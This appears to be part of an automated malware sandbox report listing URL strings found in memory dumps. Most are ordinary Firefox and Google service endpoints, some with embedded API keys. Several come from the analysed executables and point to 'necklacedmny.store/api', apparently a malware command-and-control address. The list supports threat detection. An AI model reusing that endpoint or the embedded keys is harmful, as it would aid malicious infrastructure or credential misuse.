Source: firefox.exe, 0000001A.00000003.3061871345.000002593B92B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/microsoft/TypeScript/issues/338).
Source: firefox.exe, 0000001A.00000003.2996313213.0000025933A6F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3188027583.000002592FB7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2995425549.0000025933800000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2995881145.0000025933A38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2996104229.0000025933A53000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2995647745.0000025933A1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshotsresource://gre/modules/ExtensionDNR.sys.mjs
Source: firefox.exe, 0000001A.00000003.3072690944.000002593B88E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
Source: firefox.exe, 0000001A.00000003.3072690944.000002593B88E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: firefox.exe, 0000001A.00000003.3072690944.000002593B88E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 0000001A.00000002.3176703968.0000025923911000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3188027583.000002592FB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881.browser
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 0000001E.00000002.3158958475.0000023D455E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 0000001A.00000003.3153782991.000002593D8DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3158958475.0000023D455BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 0000001A.00000003.3061871345.000002593B92B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://install.mozilla.org
Source: firefox.exe, 0000001A.00000003.3099152165.0000025935B67000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema
Source: firefox.exe, 0000001A.00000003.3061871345.000002593B92B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/libraries/standalone-templates/#rendering-lit-html-templates
Source: firefox.exe, 0000001A.00000003.3061871345.000002593B92B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/directives/#stylemap
Source: firefox.exe, 0000001A.00000003.3061871345.000002593B92B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/expressions/#child-expressions)
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FBDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FBDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%wakeupBackground
Source: firefox.exe, 0000001A.00000003.3090406291.0000025934B81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3186609548.000002592FAC3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%sAttempted
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%sresource://gre/modules/PrivateBrowsingUtils.sys.mj
Source: firefox.exe, 0000001A.00000002.3185612064.000002592F67D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3188027583.000002592FB7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 0000001A.00000002.3185612064.000002592F67D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3188027583.000002592FB7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%shttp://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001E.00000002.3158958475.0000023D45585000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 0000001A.00000002.3186609548.000002592FAB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.comhttps://truecolors.firefox.comhttps://screenshots.firefox.combookmarksToo
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mzl.la/3NS9KJd
Source: c1b0009d40.exe, 0000000B.00000003.3047105914.00000000011AC000.00000004.00000020.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2998374022.0000000001195000.00000004.00000020.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.3027758053.00000000011AE000.00000004.00000020.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2959630451.0000000001195000.00000004.00000020.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.3005709790.000000000119A000.00000004.00000020.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2998226532.0000000001190000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/
Source: c1b0009d40.exe, 0000000B.00000003.2998374022.0000000001195000.00000004.00000020.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.3027758053.00000000011AE000.00000004.00000020.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2998226532.0000000001190000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/J
Source: c1b0009d40.exe, 0000000B.00000003.2959630451.0000000001195000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/Z
Source: c1b0009d40.exe, 0000000B.00000003.2938184062.0000000001195000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/a
Source: c1b0009d40.exe, 0000000B.00000003.2998226532.0000000001190000.00000004.00000020.00020000.00000000.sdmp, c1b0009d40.exe, 00000019.00000003.3173096686.0000000001663000.00000004.00000020.00020000.00000000.sdmp, c1b0009d40.exe, 00000019.00000003.3172858009.0000000001670000.00000004.00000020.00020000.00000000.sdmp, c1b0009d40.exe, 00000019.00000003.3174074100.0000000001674000.00000004.00000020.00020000.00000000.sdmp, c1b0009d40.exe, 00000019.00000003.3149550267.0000000005E33000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000019.00000003.3174670327.0000000001665000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api
Source: file.exe, 00000000.00000003.2281042245.0000000006127000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api3G
Source: file.exe, 00000000.00000003.2198672347.0000000001688000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api4
Source: c1b0009d40.exe, 0000000B.00000003.3046266365.00000000011B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiEp1h
Source: file.exe, 00000000.00000003.2281042245.0000000006127000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiIG
Source: file.exe, 00000000.00000003.2141962059.0000000006126000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2141685135.0000000006127000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2141347007.0000000006126000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiT
Source: c1b0009d40.exe, 00000019.00000003.3173096686.0000000001663000.00000004.00000020.00020000.00000000.sdmp, c1b0009d40.exe, 00000019.00000003.3174670327.0000000001665000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api_
Source: file.exe, 00000000.00000003.2198832216.000000000163E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apib
Source: c1b0009d40.exe, 00000019.00000003.3172858009.0000000001670000.00000004.00000020.00020000.00000000.sdmp, c1b0009d40.exe, 00000019.00000003.3174074100.0000000001674000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apid
Source: file.exe, 00000000.00000003.2198832216.000000000163E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apie
Source: file.exe, 00000000.00000003.2182362754.000000000612B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apifG
Source: c1b0009d40.exe, 00000019.00000003.3172858009.0000000001670000.00000004.00000020.00020000.00000000.sdmp, c1b0009d40.exe, 00000019.00000003.3174074100.0000000001674000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apii%
Source: c1b0009d40.exe, 0000000B.00000003.3046266365.00000000011B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiq
Source: file.exe, 00000000.00000003.2198672347.0000000001688000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/p
Source: c1b0009d40.exe, 0000000B.00000003.2998374022.0000000001195000.00000004.00000020.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2998226532.0000000001190000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/z
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FBDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ok.ru/
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%sFailed
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 0000001A.00000002.3185612064.000002592F67D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3188027583.000002592FB7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sbrowser.download.viewableInternally.unavailable:FEATURE_FAILU
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.comMOZ_BROWSER_TOOLBOX_BINARY
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 0000001A.00000003.3099152165.0000025935B67000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=AIzaSyC7jsptDS
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSy
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 0000001A.00000002.3186609548.000002592FAB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 0000001A.00000003.2995647745.0000025933A1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com//shims/mochitest-shim-3.js
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 0000001A.00000002.3185098881.000002592F4C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3160427370.0000021CD9840000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3162553916.0000023D45A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001A.00000003.3097703170.0000025935B79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3099152165.0000025935B67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3188027583.000002592FB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3186609548.000002592FA08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2
